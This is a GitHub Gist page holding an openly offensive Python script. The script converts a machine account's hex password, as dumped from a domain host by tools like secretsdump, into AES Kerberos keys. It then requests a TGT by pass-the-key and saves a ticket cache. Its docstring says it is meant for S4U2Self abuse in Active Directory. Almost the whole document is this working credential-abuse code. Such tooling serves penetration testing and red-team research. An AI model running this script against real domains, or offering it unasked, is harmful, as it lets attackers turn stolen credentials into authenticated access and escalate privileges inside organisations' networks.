Last active
July 15, 2025 08:24
-
-
Save 1r0BIT/7cde2b16e0760a0650633cb9f9884c0a to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python3 | |
| """ | |
| This half-assed script derives AES keys from a machine account's encoded hex password | |
| (secretsdump or nxc output) and requests a Kerberos TGT using those keys. | |
| Intended use is for S4U2Self abuse when Local Admins are restricted and RC4 is not an option. | |
| Use at your own risk, this is a caffeine-induced, vibe-coded mess. | |
| You have been warned. | |
| Author: @0xr0BIT | |
| """ | |
| import argparse | |
| import json | |
| from binascii import unhexlify, hexlify | |
| from impacket.krb5.constants import EncryptionTypes, PrincipalNameType | |
| from impacket.krb5.crypto import string_to_key | |
| from impacket.krb5.types import Principal | |
| from impacket.krb5.kerberosv5 import getKerberosTGT | |
| from impacket.krb5.ccache import CCache | |
| def calc_keys(password: bytes, salt: bytes): | |
| """ | |
| Given raw password bytes and a salt, derive AES128 and AES256 keys. | |
| """ | |
| ciphers = { | |
| 'aes128_hmac': EncryptionTypes.aes128_cts_hmac_sha1_96.value, | |
| 'aes256_hmac': EncryptionTypes.aes256_cts_hmac_sha1_96.value, | |
| } | |
| results = {} | |
| # For an arbitrary byte-password, string_to_key expects UTF-8 text, | |
| # so we “replace” any invalid sequences. | |
| decoded_pass = password.decode('utf-16le', 'replace').encode('utf-8', 'replace') | |
| for name, enctype in ciphers.items(): | |
| key = string_to_key(enctype, decoded_pass, salt) | |
| results[name] = key.contents # raw bytes | |
| return results | |
| def calc_machine_keys(domain: str, hostname: str, hexpassword: str): | |
| """ | |
| Build the proper salt for machine accounts, then derive keys. | |
| Salt: UPPER(domain) + "host" + lower(hostname) + "." + lower(domain) | |
| e.g. "EXAMPLE.comhostpc$.example.com" | |
| """ | |
| pwd_bytes = unhexlify(hexpassword) | |
| name = hostname.lower().rstrip('$') | |
| salt = f"{domain.upper()}host{name}.{domain.lower()}".encode('utf-8') | |
| return calc_keys(pwd_bytes, salt) | |
| def main(): | |
| p = argparse.ArgumentParser() | |
| p.add_argument('-f','--blob-file', required=True, | |
| help="File with the machine-account hex password") | |
| p.add_argument('-d','--domain', required=True, | |
| help="AD domain") | |
| p.add_argument('-m','--machine', required=True, | |
| help="Machine name with trailing $") | |
| p.add_argument('--dc-ip', default=None, | |
| help="Optional KDC/DC IP or hostname") | |
| args = p.parse_args() | |
| # 1) Read hexblob from disk | |
| hexblob = "".join(open(args.blob_file).read().split()) | |
| # 2) Derive AES keys | |
| keys = calc_machine_keys(args.domain, args.machine, hexblob) | |
| aes256 = keys['aes256_hmac'] | |
| # 3) Request TGT by passing the raw 32-byte AES256 key | |
| client = Principal(args.machine, type=PrincipalNameType.NT_PRINCIPAL.value) | |
| tgt, cipher, old_skey, new_skey = getKerberosTGT( | |
| clientName = client, | |
| password = None, | |
| domain = args.domain.upper(), | |
| lmhash = b'', # empty LM | |
| nthash = b'', # empty NT | |
| aesKey = aes256, # pass-the-key | |
| kdcHost = args.dc_ip, | |
| serverName = 'krbtgt' | |
| ) | |
| # 4) Save out a ccache for later use | |
| ccache = CCache() | |
| ccache.fromTGT(tgt, old_skey, old_skey) | |
| ccache_file = f"{args.machine}.ccache" | |
| ccache.saveFile(ccache_file) | |
| print(f"[+] Derived keys: {{'aes128_hmac': '{hexlify(keys['aes128_hmac']).decode()}', " | |
| f"'aes256_hmac': '{hexlify(aes256).decode()}'}}") | |
| print(f"[+] TGT saved to {ccache_file} (export KRB5CCNAME to use it)") | |
| if __name__ == '__main__': | |
| main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment